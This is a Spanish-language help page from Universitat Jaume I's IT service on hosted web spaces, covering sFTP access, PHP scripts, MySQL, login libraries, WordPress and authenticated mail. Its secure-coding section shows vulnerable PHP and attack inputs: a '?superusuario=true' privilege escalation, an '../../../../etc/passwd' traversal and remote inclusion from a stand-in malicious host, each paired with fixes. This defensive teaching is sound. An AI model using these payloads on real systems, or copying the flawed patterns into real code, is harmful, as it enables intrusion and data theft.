Child pages
  • Espacios cedidos
Skip to end of metadata
Go to start of metadata
Atención!!! Has salido de la aplicación. Para volver a la página del SI, pulsar aquí. 

 

Instrucciones


Los departamentos, centros, institutos, grupos de investigación y otras entidades vinculadas pueden solicitar un espacio cedido a los servidores centrales de la Universidad Jaume I para albergar sus páginas web. Puedes consultar los Criterios de cesión de espacios web y después seguir estas instrucciones.

 

AVISO importante:

  1. Cada espacio dispondrá de 2GB inicialmente, aunque se podrá solicitar más espacio encara que es podrà demanar més espai (document pdf). También se recuerda que este servidor está dimensionado para alojar contenido relacionado con la publicación (páginas web, bases de datos, etc.) con lo cual, no se puede gastar para almacenamiento de otros contenidos NO destinados a esta finalidad (copias,aplicaciones, etc).,

  2. El Servicio de Informática se reserva el derecho de cerrar el espacio cedido en caso de superar la cuota o usarlo para otros fines no autorizados.
  3. El Servicio de Informática NO da soporte a scripst (CGI) desarrollados por los propietarios del espacio cedido o por terceros.

Desde el Servicio de Informática se ha puesto en funcionamiento de un servicio de hosting para albergar los espacios cedidos correspondientes a grupos de investigación, departamentos, servicios y otros entidad vinculadas que necesitan publicar información en la web con carácter propio e independiente de aquella información que aparecix el Portal de la UJI. 

Introducción

Características básicas

Las ventajas principales de usar este servicio son:

  • Copia automática (backup).
  • Varias herramientas al alcance de todos los espacios (buscador, base de datos, plantillas, estadísticas, contadores y soporte de PHP), librerías y módulos de autentificación de usuarios de la Universidad Jaume I, certificados para servidores web seguros, etc. (Existe la posibilidad de pedir otras herramientas adicionales a éstas, y, en caso de ser factible su instalación, se pondrá al alcance de todos los espacios).
  • Opcionalmente cada espacio cedido puede disponer de un bloque basado en el software WordPress

Como introducir y actualizar la información

Este es un documento dirigido a los responsables del mantenimiento del sitio web y que estén pensando en implementar CGI's en su espacio. Los puntos 1, 2 y 3 son de carácter general y válidos para cualquier persona a cargo de un espacio, independientemente si quiere o no trabajar con CGI's.

La estructura principal de los directorios de un espacio cedido es esta:

 

d--x--x--x 2 root www 4096 Nov 8 10:24 bin

drwxr-xr-x 2 ecedit ecedit 4096 Nov 8 10:24 cgi-bin

d--x--x--x 2 root www 4096 Nov 8 10:24 etc

drwxr-xr-x 4 ecedit ecedit 4096 Nov 14 08:20 htdocs

drwxr-xr-x 2 root www 4096 Nov 8 10:24 lib

drwxr-xr-x 2 ecedit ecedit 4096 Nov 8 10:24 pub

A tener en cuenta:

  • Los directorios "bin, etc, lib, pub" son directorios del sistema, por tanto, no deberían de ser modificados por el usuario.
  • El directorio "cgi-bin" es el directorio donde se pueden ejacutar CGI's de usuario.
  • El directorio "htdocs" es el directorio donde se deberán ubicar las páginas web y también se pueden ejecutar CGI's de usuario.

Cuenta FTP y Host Virtual

La dirección que se facilita al espacio cedido es un "Host virtual" dentro del dominio de la Universidad Jaume I. Por tanto, la dirección definitiva del acceso al espacio cedido será la siguiente:

- http://<espacio_cedido>.uji.es (donde espaicio_cedido puede tener la sintaxis 'http://www.nombre.uji.es' o simplemente 'http://nombre.uji.es').

El acceso al servidor se hará mediante el protocolo sFTP al puerto 22. Las páginas web deberán ubicarse al directorio "htdocs". La dirección de conexión al servidor ftp, será la misma que la del acceso por navegador al espacio cedido. Normalmente:

- ftp://<espaicio_cedido>.uji.es

  • El nombre de usuario y la clave de acceso se suministra cuando se solicita el espacio cedido.
  • Si quieres cambiar la clave de acceso inicial, deberás acceder aquí.
  • Cualquier modificación sobre el espacio cedido (crear/eliminar base de datos, cambiar Responsable o Persona de contacto, dar/quitar accesos SSH, etc.) se debe comunicar con el SPI - Modificació dels serveis d'un espai web cedit, el Responsable del site. No se atenderán si vienen de terceras personas.

Se puede usar el propio navegador del sistema operativo (Edge, Chrome, Mozilla, ...) para transferir los documentos mediante FTP y la dirección que hay que poner tendrá esta sintaxis:

  •  ftp://usuario_del_espacio_cedido@espacio_cedido.uji.es.

Ejecución de CGI's

Se permite la ejecución de CGI's dentro del espacio cedido, solamente hay que ubicarlos en el directorio "cgi-bin"  o al directorio "htdocs" desde la propia raíz del espacio.

Solo se permite la ejecución de scripts en PHP (extensiones, php, php3, php4, php5), no se podrá ejecutar scripts en perl, python y/o shell script. Aquí teneis unos ejemplos en este tipo de lenguaje de programación: 

PHP ( http://www.php.net )

Para ejecutar CGI's desarrollados en php solo hay que transferirlos, mediante FTP a la carpeta "cgi-bin" o " htdocs" del servidor.
Cuando programéis una aplicación web es muy recomendable seguir estas normas. Se trata de recomendaciones para PHP pero son aplicables a cualquier otro lenguaje de programación.

  • Inicialización de variables: es imprescindible inicializar cada variable que se utilizan dentro del script, para que no sea iniciada por terceros invocando la URL del script con GET o POST. Es decir, algún podría invocar el script enviándole un valor de la variable hoz si conoce el nombre de la misma. Considere este fragmento que no inicializa la variable superusuario:
<?php
                 if (comprueba_privilegios()){
                    $superusuario = true;
                 }
                 ...
         ?>

 

  • Alguien conoce esta variable podría crear el script así:http://www..uji.es/example.php?superusuario=truey convertirse en superusuario. Este fragmento ya soluciona el fallo de seguridad:

    <?php
                    $superusuario = false;
                    if (comprueba_privilegios()){
                       $superusuario = true;
                    }
                    ...
            ?>
  • Recogida de valores: las variables que llegan por el método GET, POST o COOKIE, normalmente son registradas como variables globales, de forma que invocando directamente ya tenemos acceso a su valor. Esta es una forma de trabajar no recomendable, ya que podemos caer otra vez en un fallo similar a la de antes, con lo cual, tendríamos que recurrir a otros métodos para recoger las variables, tales como $ _GET [ 'superusuario' ] si nos llega por GET, $ _POST [ 'superusuario'] si nos llega por POST, $ _COOKIE [ 'superusuario'] si nos llega en forma de cookie, o $ _REQUEST [ 'superusuario'], que es la forma universal de acceder, cualquiera que sea el método.
  • Aceso a archivos: imaginemos que tenemos una variable $ nombre_usuario que contiene el nombre del usuario después de autenticarse en alguna parte, y que queremos cargar un saludo según quien sea de la siguiente forma

    <?php
                         include ("/usr/local/lib/salutacions/$nom_usuari");
                 ?>
  • Aceso a URL remotas: el acceso a URLs remotas mediante llamadas como copy ( "http://www.uji.es", $ algun_llloc), include ( "http://www.php.net/pp.php"), fopen ( " http://www.php.net/pp.php "," r "), etc se encuentra deshabilitada por razones de seguridad, sin embargo, se puede utilizar el siguiente código para emular esta funcionalidad:

     

    require_once 'HTTP/Client.php';
    if (!function_exists('mi_include')) {
       function mi_include($url) {
    
                 $http = new HTTP_Client();
    
              if ( $http->get($url) == 200 ) {
                   $a = $http->currentResponse();
                      print $a['body'];
                     } else {
                        $a = $http->currentResponse();
                        print "";
                     }
                   }
                 }

Alguna mala persona podría pasar en el $ nombre_usuario el valor ../../../../etc/passwd o ../../algun/arxiu/secret/important.txt y acceder al contenido con datos sensibles. Este caso se puede corregir usando la función realpath ($ nombre_usuario) lo cual elimina los .. indeseables.

Otro caso podría ser el del siguiente script que hace al mismo pero está codificado así:

 

<?php
              chdir ("/usr/local/lib/salutacions");
              include ($nom_usuari);
              ...
        ?>

 

La misma mala persona podría pasarle al script como valor de $ nombre_usuario una URL con código PHP, por ejemplo:

http://www.elmalo.com/codigo_malicioso.php 
(http://www..uji.es/example.php nombre_usuario=http://www.elmalo.com/codigo_malicioso.php), resultando en que nuestro script incluye el contenido del script remoto y ejecutando las sentencias malignas. La solución pasa por utilizar las funciones realpath () o basename ().

  • Otros: no use datos proporcionados por el usuario, normalmente de formularios, como parámetros de funciones como eval (), preg_replace () con la opción / e, o comandos de sistema tales como exec (), system (), popen () , passthru () o el operador `, ya que podría terminar ejecutando en el sistema órdenes no deseadas.

    También es especialmente peligroso recoger datos proporcionados por el usuario para confeccionar una sentencia SQL o query. Al repecto deberemos usar las funciones mysql_real_escape_string (), addslashes () y stripslashes (), para eliminar caracteres sensibles que podrían facilitar al desgaste alterar la query.
     
  • Más información: libro "Programming PHP", Editorial O'Reilly, Rasmus Lerdorf & Kevin Tatroe, y una documentación completa de las funciones disponibles en este lenguaje de programación, a las siguientes páginas web:
  • http://www.php.net
  • http://es.php.net

Estadísticas semanales

Todos los espacios cedidos disponen de una página donde se pueden consultar las estadísticas semanales de accesos al espacio cedido. La dirección de acceso a estas estadísticas es la siguiente:

Estas estadísticas nos muestran una relación de accesos web en nuestro espacio, con las siguientes características:

  •      Resumen de accesos (número de visitantes, visitas, hojas, sol.licitud tráfico). Accesibles por día, semana, mes y año.
  •      Detalles de que accede (Piuma; ses, servidores y robots).
  •      Detalles de navegación (duración de visitas, hojas de entrada y de salida, tipos de archivos servidos, URLs u hojas accedidas, sistemas operativos y navegadores).
  •      Enlaces (enlaces externos, desde buscadores y palabras que se buscan en búsquedas).
  •      Otros (añadido a favoritos, códigos de error HTTP para hojas no encontradas, detalles de acceso desde la red de la UJI).

Se puede observar que hay gran cantidad de parámetros, aunque en la mayoría de los casos sólo nos interesarán los siguientes:

  • Número de visitas: cada visita se corresponde en un conjunto de accesos de una misma persona durante un periodo de tiempo (1 hora).
  • Hojas: número de accesos a páginas HTML.
  • Solicitudes: hace referencia al número de hits, donde cada noche es un acceso a cada elemento de una URL o cuchilla (imágenes, elementos multimedia, etc). Puede ver un ejemplo de esta información accediendo a la URL mencionada antes, donde podrá encontrar ayuda contextual.

También se dispone de la opción de recibir estas estadísticas por correo electrónico. En este caso, debe comunicárnoslo haciendo un comunicado CAU

Base de datos

Se puede hacer uso de una base de datos Mysql (http://www.mysql.com) dentro del espacio cedido. Se puede consultar, insertar, modificar y eliminar la información almacenada en esta base de datos mediante cualquier lenguaje de script de aquellos que hemos comentado antes. Un ejemplo de acceso a la base de datos hecho con PHP podría ser el siguiente:

<html>
 <body>
 <?
  $mysql_id  = mysql_connect("localhost","usuari","password");
  $resultado = mysql_db_query("bd", "select * from profesores", $mysql_id);
  echo "<table border=1 width=40% align=center>";
  while ($reg = mysql_fetch_object($resultado)) {
   echo "<tr>";
    echo "<td>".$reg->nombre."</td>";
    echo "<td>".$reg->despacho."</td>";
    echo "<td>".$reg->telefono."</td>";
    echo "<tr>";
  }
  echo "</table>";
  mysql_close($mysql_id);
 ?>
 </body>
 </html>

Este ejemplo hace una conexión a la base de datos mysql, hace una consulta SQL, y muestra el resultado de la consulta en una tabla HTML. Puede encontrar más información de las funciones de acceso a bases de datos Mysql PHP en esta dirección: http://www.php.net/manual/en/ref.mysql.php

Para gestionar la estructura e información de esta base de datos, también se ofrece un entorno visual de gestión de Bases de Datos MySQL. La URL de acceso a este entorno es la siguiente:

  • http://<nombre_espacio_cedido>.uji.es/phpmyadmin

Para acceder a la gestión hay que autenticarse con el usuario y la clave de acceso del sistema.

Para hacer uso de esta base de datos y sus herramientas, debe solicitar el servicio haciendo un CAU.

Validación de usuarios de la Universidad Jaume I

Se pone a disposición de cualquier espacio cedido una librería de autenticación de usuarios, que nos permite validar el acceso y mantener sesión en el espacio cedido (o una parte de éste) con usuarios de la Universidad Jaume I. Para hacer uso de la librería, es necesario utilizar el lenguaje de programación PHP.

Las tres funciones principales son:

  1. lsm_login (URL, SERVIDOR), donde URL: es opcional e indica donde se devolverá cuando la persona esté autenticada. Si no se pone nada, volveremos al mismo script. SERVIDOR: es opcional, indica el servidor en validar la persona (nuvol.uji.es o anubis.uji.es). Si no se pone nada intentará validar en el servidor adecuado en función del nombre de usuario.
  2. lsm_logout (URL), donde URL: es opcional e indica donde se devolverá cuando la persona haya salido de la sesión. Si no se pone nada, volveremos al mismo script.
  3. lsm_get_login (), que devuelve el nombre de usuario que se ha autenticado exitosamente o una cadena vacía en caso contrario.

Ejemplos:

<?PHP
 //Exemple en PHP per validar usuaris
 //S'ha d'incloure este codi al principi
 //de cada script que necessite autenticació.
 
 require_once("lsm/lsm.inc.php");
 
 if (isset($logout)){
         lsm_logout();
 }else{
         lsm_login("");
         $login = lsm_get_login();
         echo "<html>Validat.El teu
 login :".$login." Ací ja es pot posar el contingut
 privat.";
         echo "<a href=\"".$PHP_SELF."?logout=yes
 \">Sortir</a></html>";
 }
 ?>

Si el responsable del espacio tiene la necesidad de proteger ciertas partes de la web y no quiere programar ningún CGI, el Servicio de Informática puede dotar de una autenticación básica a estas partes haciendo la petición CAU.

Servicio de Blog

Este software se basa en el gestor de blogs llamado WordPress, muy conocido y que podrá encontrar en múltiples lugares. Además, la documentación es muy completa.

La dirección para acceder a la administración de su blog es la misma que la del espacio que habéis pedido, añadiendo al final "/ blog / wp-admin /", por ejemplo:

  • http: // <nombre_del_espacio_cedido> .uji.es / blog / wp-admin /


Las credenciales que ha de usar son las mismas que usará para acceder vía ftp. Para ver las entradas de nuestra bitácora simplemente añadimos "/ blog /" al final de la dirección de nuestro espacio. Por ejemplo:

  • http: // <nombre_del_espacio_cedido> .uji.es / blog

Envios de correos

El envío de correo a través del servidor de correo que tenemos habilidad en la máquina de espacios cedidos se debe hacer de forma autenticada para evitar riesgos de propagación de virus y spam ante un acceso no autorizado a una de las cuentas de los espacios cedidos. Por ello, hemos habilitado diferentes utilidades que nos permitirán hacer el envío de correo de manera correcta.

1.- La función "mail" de PHP (http://es2.php.net/manual/en/function.mail.php) ha sido modificada para aceptar 2 parámetros más (usuario / clave de acceso). Es decir, la llamada original es esta:

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

La nueva función "mail" es la siguiente:

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters [, string $username, string $password ]]] )

ejemplo:

* La típica función de envío de correo a través de PHP se realizaría de la siguiente manera:

$destinatario = "infosis@uji.es";
 $titulo = "Prueba de envío";
 $mensaje = "Esto es una prueba";
 $cabecera_remitente = "From: uji@uji.es";
 mail($destinatario, $titulo, $mensaje, $cabecera_remitente, "");

* Ahora se hará de la siguiente manera:

$destinatario = "infosis@uji.es";
 $titulo = "Prueba de envío";
 $mensaje = "Esto es una prueba";
 $cabecera_remitente = "From: uji@uji.es";
 $usuario = "tu_usuario";
 $password = "tu_clave";
 mail($destinatario, $titulo, $mensaje, $cabecera_remitente, "", $usuario, $password);

2.- Se puede utilizar cualquier herramienta más completa de envío de correo. Ponemos a su disposición varios enlaces a las herramientas de gestión de contenidos que suelen ser más utilizadas.

  1. WordPress Si has instalado tu la versión de WordPress necesitarás instalar el siguiente plugin pulsando en este enlace, WP Mail SMTP: wordpress.org/extend/plugins/wp-mail-smtp
  2. Configuración para enviar correos utilizando WP Mail SMTP

En la opción "Ajustes", seleccionar "Email". A continuación hay que configurar los datos del servidor SMTP que necesitamos usar. Para poder realizar envíos de correos desde el WordPress utilizando el SMTP de la Universidad Jaume I deberás indicar los siguientes datos de configuración del servidor.

Mailer: Send all WordPress emails via SMTP.
 SMTP Host: localhost
 SMTP Port: 25
 Encryption: No encryption
 Authentication: Yes: Use SMTP authentication
 
 Username: El nombre de usuario que se facilitó al solicitar el espacio cedido.
 Contraseña: La clave que se facilitó al solicitar el espacio cedido.

 

Otros

En esta sección, se irá añadiendo progresivamente otras herramientas de uso relacionada con la cesión de espacios:

  • Utilidad para el procesamiento y envío de formularios por correo (consulte la documentación).
  • Utilidad para cambiar la clave de acceso del usuario ftp
  • Utilidad para generar gráficas (de barras, tartas, etc) en PHP llamada JPGRAPH.

Para hacer uso de esta herramienta, en vuestros scripts PHP debe incluir la línea:

  • include ("jpgraph14 / jpgraph.php");

al principio del script.

Si desea saber más sobre esta herramienta visite http://www.aditus.nu/jpgraphh

 

  • No labels